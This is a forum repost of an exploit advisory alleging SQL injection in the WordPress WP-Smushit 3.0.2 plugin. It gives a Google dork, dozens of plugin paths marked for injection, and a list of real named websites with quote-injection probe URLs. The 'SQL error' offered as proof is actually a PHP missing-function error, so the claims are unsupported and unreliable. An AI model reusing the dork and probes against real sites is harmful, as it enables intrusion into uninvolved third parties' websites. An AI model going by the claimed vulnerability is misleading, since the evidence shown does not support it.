WordPress WP-Smushit 3.0.2 SQL Injection

#259
Topic created · 1 Posts · 1 Views
  • WordPress WP-Smushit plugin version 3.0.2 suffers from a remote SQL injection vulnerability.
    MD5 | c78331279d3b80174b45eed706b9c31b
    Download

    ####################################################################  
    # Exploit Title : WordPress WP-Smushit Plugins 3.0.2 SQL Injection  
    # Author [ Discovered By ] : KingSkrupellos  
    # Team : Cyberizm Digital Security Army  
    # Date : 28/01/2019  
    # Vendor Homepage : premium.wpmudev.org  
    # Software Download Link : downloads.wordpress.org/plugin/wp-smushit.3.0.2.zip  
    # Software Information Link : wordpress.org/plugins/wp-smushit/  
    # Software Version : 3.0.2  
    # Tested On : Windows and Linux  
    # Category : WebApps  
    # Exploit Risk : Medium  
    # Google Dorks : inurl:''/wp-content/plugins/wp-smushit/''  
    # Vulnerability Type : CWE-89 [ Improper Neutralization of   
    Special Elements used in an SQL Command ('SQL Injection') ]  
    ####################################################################  
    # Description about Software :  
    **********************************  
    WordPress WP-Smushit - Smush Image Compression and Optimization Plugin =>   
    Smush has been benchmarked and tested number one for speed and quality and   
    is the award-winning, back-to-back proven crowd favorite image optimization plugin for WordPress.  
    Resize, optimize, optimise and compress all of your images with the   
    incredibly powerful and 100% free WordPress image smusher,   
    brought to you by the superteam at WPMU DEV!  
    ####################################################################  
    # Impact :  
    **********  
    * WordPress WP-Smushit Plugins 3.0.2 is prone to an   
    SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied   
    data before using it in an SQL query.  
    * Exploiting this issue could allow an attacker to compromise the application, read,  
    access or modify data, or exploit latent vulnerabilities in the underlying database.   
    If the webserver is misconfigured, read & write access to the filesystem may be possible.  
    ####################################################################  
    # SQL Injection Exploit :  
    **********************  
    /wp-content/plugins/wp-smushit/app/class-wp-smush-dashboard.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/class-wp-smush-nextgen.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/bulk-settings/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/bulk/meta-box-header.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/bulk/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/cdn/meta-box-footer.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/cdn/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/cdn/upsell-meta-box-header.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/directory/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/integrations/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/nextgen/meta-box-header.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/nextgen/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/nextgen/summary-meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/pro-features/meta-box-header.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/pro-features/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/settings/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/meta-boxes/summary/meta-box.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/modals/directory-list.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/modals/quick-setup.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/smush-page.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/tabs.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/app/views/wp-smush-nextgen-bulk-page.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/external/free-dashboard/module.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/integrations/class-wp-smush-nextgen.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/integrations/class-wp-smush-gutenberg.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/integrations/class-wp-smush-s3.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/integrations/nextgen/class-wp-smush-nextgen-admin.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/integrations/nextgen/class-wp-smush-nextgen-stats.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/integrations/s3/class-wp-smush-s3-compat.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/modules/class-wp-smush-ajax.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/modules/class-wp-smush-async-editor.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/modules/class-wp-smush-backup.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/modules/class-wp-smush-cdn.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/modules/class-wp-smush-png2jpg.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/modules/class-wp-smush-resize.php?id=[SQL Injection]  
    /wp-content/plugins/wp-smushit/core/modules/class-wp-smushit.php?id=[SQL Injection]  
    ####################################################################  
    # Example Vulnerable Sites :  
    *************************  
    [+] brewurbancafe.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] wegdermee.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] ootb.net.au/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] chefleticia.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] bonofe.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] kinetix365.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] maquilalama.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] tobaccoroadtours.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] harpreetkumar.com/hindi/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] 10minutos.com.bo/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] akarcenter.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] otherside-e.com/wp/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] bowgrid.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    [+] sportschampic.com/wp-content/plugins/wp-smushit/app/views/blocks/progress-bar.php?id=1%27  
    ####################################################################  
    # Example SQL Database Error :  
    ****************************  
    Fatal error: Uncaught Error: Call to undefined function esc_html__() in   
    /home/brewurbancafe/public_html/wp-content/plugins/wp-smushit/app/views  
    /blocks/progress-bar.php:17 Stack trace: #0 {main} thrown in /home  
    /brewurbancafe/public_html/wp-content/plugins/wp-smushit/app/views  
    /blocks/progress-bar.php on line 17  
    ####################################################################  
    # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
    ####################################################################  
    

    Source: packetstormsecurity.com

Log in to reply